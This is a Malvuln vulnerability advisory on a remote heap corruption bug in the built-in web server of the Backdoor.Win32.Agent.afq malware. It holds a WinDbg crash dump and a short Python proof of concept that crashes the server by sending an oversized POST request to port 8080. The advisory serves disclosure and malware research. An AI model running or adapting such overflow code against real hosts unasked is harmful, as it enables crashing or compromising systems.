Backdoor.Win32.Agent.afq malware suffers from a heap corruption vulnerability.
2e2878e4b44cb1edd0ffcd902d324dd9Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_C.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.afq
Vulnerability: Remote Heap Corruption
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. Third-party attackers who can reach the infected host can send a 2000 byte HTTP Post request, triggering a heap corruption overwriting ECX, EDX and AX (16-bit) part of the EAX register.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0190
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/27/2021
Memory Dump:
EAX : 00004141
EBX : 02B71208
ECX : 41414141
EDX : 41414141
EBP : 02A0FD30
ESP : 02A0FB70
ESI : 02B71210
EDI : 02B70000
EIP : 77AC2D6A ntdll.77AC2D6A
(1b1c.1048): Access violation - code c0000005 (first/second chance not available)
eax=0000f23c ebx=02781208 ecx=41414141 edx=41414141 esi=02781210 edi=02780000
eip=77ac2d6a esp=02cef1f0 ebp=02cef3b0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlpAllocateHeap+0x37a:
77ac2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe
FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
77ac2d6a 8b09 mov ecx,dword ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77ac2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 41414141
READ_ADDRESS: 41414141
FOLLOWUP_IP:
msvcrt!signal+95
75746f35 59 pop ecx
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001048
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 77ac16b7 to 77ac2d6a
STACK_TEXT:
02cef3b0 77ac16b7 00000078 00000080 027802d4 ntdll!RtlpAllocateHeap+0x37a
02cef400 77ac13ee 00000000 00000000 00000078 ntdll!RtlpAllocateHeapInternal+0x2b7
02cef41c 75737250 02780000 00000000 00000078 ntdll!RtlAllocateHeap+0x3e
02cef43c 757376bb 00000078 0000000b 02780dc8 msvcrt!malloc+0x90
02cef454 75746f35 00000078 96d98a3c 00401000 msvcrt!_malloc_crt+0x18
02cef494 00401099 0000000b 00000000 00000000 msvcrt!signal+0x95
WARNING: Stack unwind information not available. Following frames may be wrong.
02cef4b4 771ad820 02cef580 1d76a8f9 00000000 Backdoor_Win32_Agent_afq_853754de6b8ffbe1321a8c91aab5c232+0x1099
02cef550 77b237e1 02cef580 77af2d82 02ceffcc KERNELBASE!UnhandledExceptionFilter+0x1a0
02ceffdc 77ae4a47 ffffffff 77b09ea9 00000000 ntdll!__RtlUserThreadStart+0x3ed99
02ceffec 00000000 00402950 000000f4 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~2s; .ecxr ; kb
SYMBOL_STACK_INDEX: 5
SYMBOL_NAME: msvcrt!signal+95
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: msvcrt
IMAGE_NAME: msvcrt.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141_c0000005_msvcrt.dll!signal
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_msvcrt!signal+95
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8080
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="POST /"+"A"*2000+" HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10000\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Agent.afq / Remote Heap Corruption")
print("MD5: 853754de6b8ffbe1321a8c91aab5c232")
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).